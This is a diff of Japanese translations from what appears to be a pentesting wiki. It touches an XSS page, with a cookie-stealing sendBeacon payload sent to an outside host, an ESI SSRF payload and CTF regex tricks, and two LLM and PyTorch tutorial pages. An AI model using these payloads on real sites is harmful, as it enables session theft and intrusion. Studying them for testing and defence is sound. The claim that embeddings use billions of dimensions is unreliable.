* **1つのページ内の異なるオブfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
@ -1117,7 +1117,7 @@ trigger()
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
{% hint style="info" %}
JavaScriptからクッキーにアクセスすることは**できません**が、クッキーにHTTPOnlyフラグが設定されている場合。ですが、運が良ければ、[この保護を回避する方法](../hacking-with-cookies/#httponly)があります。
HTTPOnlyフラグがクッキーに設定されている場合、**JavaScriptからクッキーにアクセスすることはできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法](../hacking-with-cookies/#httponly)があります。
{% endhint %}
### ページコンテンツを盗む
@ -1311,7 +1311,7 @@ document.getElementById("message").src += "&"+e.data;
```
### Regex - 隠れたコンテンツへのアクセス
[**このレポート**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、正規表現の入力値が削除された後でも見つけることができます
[**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、正規表現の入力値が削除された後でも見つけることができます
```javascript
// Do regex with flag
flag="CTF{FLAG}"
@ -1342,7 +1342,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### SSRFへのXSS
**キャッシュを使用しているサイトでXSSを取得しましたか** このペイロードを使用して**それをSSRFにアップグレード**してみてください:
**キャッシュを使用しているサイトでXSSを取得しましたか**このペイロードを使用して**それをSSRFにアップグレードしてみてください**
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1352,7 +1352,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### 動的に作成されたPDFにおけるXSS
ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことを試みることができます。\
したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、あなたはこの動作を**悪用**して**サーバーXSS**を引き起こすことができます。
したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、この動作を**悪用**して**サーバーXSS**を引き起こすことができます。
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@ -1446,7 +1446,7 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要です_).

View file

@ -9,12 +9,12 @@
通常、LLMはトレーニングに使用される構成によって特徴付けられます。LLMをトレーニングする際の一般的なコンポーネントは以下の通りです
* **パラメータ**:パラメータは、ニューラルネットワーク内の**学習可能な重みとバイアス**です。これらは、トレーニングプロセスが損失関数を最小化し、タスクに対するモデルのパフォーマンスを向上させるために調整する数値です。LLMは通常、数百万のパラメータを使用します。
* **コンテキスト長**これは、LLMのプリトレーニングに使用される各文の最大長です。
* **埋め込み次元**各トークンまたは単語を表すために使用されるベクトルのサイズ。LLMは通常、数十億の次元を使用します。
* **隠れ次元**:ニューラルネットワーク内の隠れ層のサイズ。
* **層の数(深さ)**モデルが持つ層の数。LLMは通常、数十の層を使用します。
* **アテンションヘッドの数**トランスフォーマーモデルにおいて、各層で使用される別々のアテンションメカニズムの数。LLMは通常、数十のヘッドを使用します。
* **ドロップアウト**ドロップアウトは、トレーニング中に削除されるデータの割合確率が0になるに似たものです。**オーバーフィッティングを防ぐため**に使用されます。LLMは通常、0-20%の範囲で使用します。
* **コンテキスト長**これは、LLMをプリトレーニングするために使用される各文の最大長です。
* **埋め込み次元**:各トークンまたは単語を表すために使用されるベクトルのサイズです。LLMは通常、数十億の次元を使用します。
* **隠れ次元**:ニューラルネットワーク内の隠れ層のサイズです
* **層の数(深さ)**:モデルが持つ層の数です。LLMは通常、数十の層を使用します。
* **アテンションヘッドの数**:トランスフォーマーモデルにおいて、各層で使用される別々のアテンションメカニズムの数です。LLMは通常、数十のヘッドを使用します。
* **ドロップアウト**ドロップアウトは、トレーニング中に削除されるデータの割合確率が0になるに似たものです。**オーバーフィッティングを防ぐ**ために使用されます。LLMは通常、0-20%の範囲で使用します。
GPT-2モデルの構成
```json
@ -72,9 +72,9 @@ tensor3d = torch.tensor([[[1, 2], [3, 4]],
```
### テンソルデータ型
PyTorchのテンソルは、整数や浮動小数点数など、さまざまなタイプのデータを格納できます。&#x20;
PyTorch テンソルは、整数や浮動小数点数など、さまざまな型のデータを格納できます。&#x20;
テンソルのデータ型は、`.dtype`属性を使用して確認できます:
テンソルのデータ型は、`.dtype` 属性を使用して確認できます:
```python
tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64
@ -116,7 +116,7 @@ result = tensor2d @ tensor2d.T
テンソルは、PyTorchでニューラルネットワークを構築およびトレーニングするために不可欠です
* 入力データ、重み、およびバイアスを格納します。
* 入力データ、重み、バイアスを格納します。
* トレーニングアルゴリズムの前方および後方パスに必要な操作を促進します。
* autogradを使用することで、テンソルは勾配の自動計算を可能にし、最適化プロセスを効率化します。
@ -130,9 +130,9 @@ result = tensor2d @ tensor2d.T
自動微分の中心には、微積分の**連鎖律**があります。連鎖律は、関数の合成がある場合、合成関数の導関数は合成された関数の導関数の積であると述べています。
数学的には、`y=f(u)`および`u=g(x)`の場合、`y`の`x`に関する導関数は次のようになります:
数学的には、`y=f(u)`および`u=g(x)`の場合、`x`に関する`y`の導関数は次のようになります:
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. Computational Graph**
@ -142,7 +142,7 @@ ADでは、計算は**計算グラフ**のノードとして表され、各ノ
単純な関数を考えてみましょう:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
ここで:
@ -150,7 +150,7 @@ ADでは、計算は**計算グラフ**のノードとして表され、各ノ
* `y=1.0`はターゲットラベルです。
* `L`は損失です。
損失`L`の重み`w`およびバイアス`b`に関する勾配を計算したいと思います。
損失`L`の重み`w`およびバイアス`b`に関する勾配を計算したいとます。
**4. Computing Gradients Manually**
@ -218,7 +218,7 @@ Gradient w.r.t b: tensor([-0.0817])
### **4. PyTorchの実装**
PyTorchは、その自動微分エンジンを使用してこのプロセスを簡素化します。
PyTorchはその自動微分エンジンによってこのプロセスを簡素化します。
```python
import torch
import torch.nn as nn
@ -269,10 +269,10 @@ In this code:
### **5. バックワードパスの理解**
バックワードパス中:
バックワードパス中:
* PyTorchは計算グラフを逆順にたどります。
* 各操作に対して、チェーンルールを適用して勾配を計算します。
* 各操作に対して、勾配を計算するために連鎖律を適用します。
* 勾配は各パラメータテンソルの `.grad` 属性に蓄積されます。
### **6. 自動微分の利点**

View file

@ -2,16 +2,16 @@
## Attention Mechanisms and Self-Attention in Neural Networks
Attention mechanisms allow neural networks to f**ocus on specific parts of the input when generating each part of the output**. それらは異なる入力に異なる重みを割り当て、モデルが現在のタスクに最も関連する入力を決定するのを助けます。これは、正確な翻訳のために文全体の文脈を理解する必要がある機械翻訳のようなタスクでは重要です。
Attention mechanisms allow neural networks to f**ocus on specific parts of the input when generating each part of the output**. それらは異なる入力に異なる重みを割り当て、モデルが現在のタスクに最も関連性の高い入力を決定するのに役立ちます。これは、正確な翻訳のために文全体の文脈を理解する必要がある機械翻訳のようなタスクでは重要です。
{% hint style="success" %}
この第4段階の目標は非常にシンプルです: **いくつかの注意メカニズムを適用すること**。これらは、**語彙内の単語と現在の文の隣接単語との関係を捉えるための多くの** **繰り返し層** になります。\
この第4段階の目標は非常にシンプルです**いくつかの注意メカニズムを適用すること**。これらは、**語彙内の単語と、LLMのトレーニングに使用される現在の文の隣接単語との関係を捉えるための多くの**繰り返し層**になります。\
これには多くの層が使用されるため、多くの学習可能なパラメータがこの情報を捉えることになります。
{% endhint %}
### Understanding Attention Mechanisms
従来のシーケンス・ツー・シーケンスモデルは、入力シーケンスを固定サイズのコンテキストベクトルにエンコードします。しかし、このアプローチは長い文に対しては苦労します。なぜなら、固定サイズのコンテキストベクトルは必要なすべての情報を捉えられない可能性があるからです。注意メカニズムは、モデルが各出力トークンを生成する際にすべての入力トークンを考慮できるようにすることで、この制限に対処します。
従来のシーケンスからシーケンスへのモデルは、入力シーケンスを固定サイズのコンテキストベクトルにエンコードします。しかし、このアプローチは長い文に対しては苦労します。なぜなら、固定サイズのコンテキストベクトルは必要な情報をすべて捉えられない可能性があるからです。注意メカニズムは、モデルが各出力トークンを生成する際にすべての入力トークンを考慮できるようにすることで、この制限に対処します。
#### Example: Machine Translation
@ -19,17 +19,17 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
### Introduction to Self-Attention
自己注意、または内部注意は、注意が単一のシーケンス内で適用され、そのシーケンスの表現を計算するメカニズムです。これにより、シーケンス内の各トークンが他のすべてのトークンに注意を向けることができ、モデルがトークン間の依存関係を距離に関係なく捉えるのを助けます。
自己注意Self-attentionまたは内部注意intra-attentionは、注意が単一のシーケンス内で適用され、そのシーケンスの表現を計算するメカニズムです。これにより、シーケンス内の各トークンが他のすべてのトークンに注意を向けることができ、トークン間の依存関係を距離に関係なく捉えるのに役立ちます。
#### Key Concepts
* **Tokens**: 入力シーケンスの個々の要素(例: 文中の単語)。
* **Tokens**: 入力シーケンスの個々の要素(例文中の単語)。
* **Embeddings**: トークンのベクトル表現で、意味情報を捉えます。
* **Attention Weights**: 他のトークンに対する各トークンの重要性を決定する値。
### Calculating Attention Weights: A Step-by-Step Example
**"Hello shiny sun!"** を考え、各単語を3次元の埋め込みで表現します:
**"Hello shiny sun!"** を考え、各単語を3次元の埋め込みで表現します
* **Hello**: `[0.34, 0.22, 0.54]`
* **shiny**: `[0.53, 0.34, 0.98]`
@ -51,7 +51,7 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
**"shiny" と "shiny" の注意スコア**
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**"sun" と "shiny" の注意スコア**
@ -69,15 +69,15 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
指数を計算します:
指数を計算します
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
合計を計算します:
合計を計算します
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure>
注意重みを計算します:
注意重みを計算します
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure>
@ -91,19 +91,19 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
<figure><img src="../../.gitbook/assets/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
各成分を計算します:
各成分を計算します
* **"Hello" の重み付き埋め込み**:
* **"Hello" の重み付き埋め込み**
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
* **"shiny" の重み付き埋め込み**:
* **"shiny" の重み付き埋め込み**
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
* **"sun" の重み付き埋め込み**:
* **"sun" の重み付き埋め込み**
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
重み付き埋め込みを合計します:
重み付き埋め込みを合計します
`context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
@ -111,13 +111,13 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
### Summary of the Process
1. **注意スコアを計算する**: ターゲット単語の埋め込みとシーケンス内のすべての単語の埋め込みとの間のドット積を使用します。
1. **注意スコアを計算する**: 対象単語の埋め込みとシーケンス内のすべての単語の埋め込みとの間のドット積を使用します。
2. **スコアを正規化して注意重みを得る**: 注意スコアにsoftmax関数を適用して、合計が1になる重みを得ます。
3. **コンテキストベクトルを計算する**: 各単語の埋め込みをその注意重みで掛け算し、結果を合計します。
## Self-Attention with Trainable Weights
実際には、自己注意メカニズムは **学習可能な重み** を使用して、クエリ、キー、および値の最適な表現を学習します。これには、3つの重み行列を導入します:
実際には、自己注意メカニズムは**学習可能な重み**を使用して、クエリ、キー、および値の最適な表現を学習します。これには、3つの重み行列を導入します
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
@ -125,7 +125,7 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
#### Step 1: Compute Queries, Keys, and Values
各トークンは、定義された行列でその次元値を掛け算することによって、独自のクエリ、キー、および値の行列を持ちます:
各トークンは、定義された行列によってその次元値を掛け算することで、独自のクエリ、キー、および値の行列を持ちます:
<figure><img src="../../.gitbook/assets/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
@ -133,12 +133,12 @@ Attention mechanisms allow neural networks to f**ocus on specific parts of the i
**Example**
仮定します:
仮定します
* 入力次元 `din=3` (埋め込みサイズ)
* 出力次元 `dout=2` (クエリ、キー、および値のための希望の次元)
* 入力次元 `din=3`(埋め込みサイズ)
* 出力次元 `dout=2`(クエリ、キー、および値のための希望の次元)
重み行列を初期化します:
重み行列を初期化します
```python
import torch.nn as nn
@ -149,7 +149,7 @@ W_query = nn.Parameter(torch.rand(d_in, d_out))
W_key = nn.Parameter(torch.rand(d_in, d_out))
W_value = nn.Parameter(torch.rand(d_in, d_out))
```
クエリ、キー、を計算する:
クエリ、キー、バリューを計算する:
```python
queries = torch.matmul(inputs, W_query)
keys = torch.matmul(inputs, W_key)
@ -170,10 +170,10 @@ values = torch.matmul(inputs, W_value)
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
{% hint style="success" %}
スコアは次元の平方根で割られます。これは、ドット積が非常に大きくなる可能性があるため、これを調整するのに役立ちます。
スコアは次元の平方根で割られます。なぜなら、ドット積が非常に大きくなる可能性があり、これがそれらを調整するのに役立つからです。
{% endhint %}
**ソフトマックスを適用してアテンションウェイトを得:** 初期の例と同様に、すべての値を正規化して合計が1になるようにします。&#x20;
**アテンションウェイトを得るためにソフトマックスを適用:** 初期の例と同様に、すべての値を正規化して合計が1になるようにします。&#x20;
<figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
@ -234,7 +234,7 @@ LLMでは、モデルが現在の位置の前に出現するトークンのみ
### 因果注意マスクの適用
因果注意を実装するために、ソフトマックス操作**の前に**注意スコアにマスクを適用します。これにより、残りのスコアは合計1になります。このマスクは、未来のトークンの注意スコアを負の無限大に設定し、ソフトマックス後にその注意重みがゼロになることを保証します。
因果注意を実装するために、ソフトマックス操作**の前に**注意スコアにマスクを適用します。これにより、残りのスコアは合計1になります。このマスクは、未来のトークンの注意スコアを負の無限大に設定し、ソフトマックス後にその注意重みがゼロになることを保証します。
**手順**
@ -330,7 +330,7 @@ print("context_vecs.shape:", context_vecs.shape)
### コード例
前のコードを再利用し、いくつかの回数実行するラッパーを追加することも可能ですが、これは[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb)からのより最適化されたバージョンで、すべてのヘッドを同時に処理します高価なforループの数を減らします。コードに示されているように、各トークンの次元はヘッドの数に応じて異なる次元に分割されます。このように、トークンが8次元を持ち、3つのヘッドを使用したい場合、次元は4次元の2つの配列に分割され、各ヘッドはそのうちの1つを使用します
前のコードを再利用し、ラッパーを追加して何度も実行することも可能ですが、これは[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb)からのより最適化されたバージョンで、すべてのヘッドを同時に処理します高価なforループの数を減らします。コードに示されているように、各トークンの次元はヘッドの数に応じて異なる次元に分割されます。このように、トークンが8次元、3つのヘッドを使用したい場合、次元は4次元の2つの配列に分割され、各ヘッドはそのうちの1つを使用します
```python
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):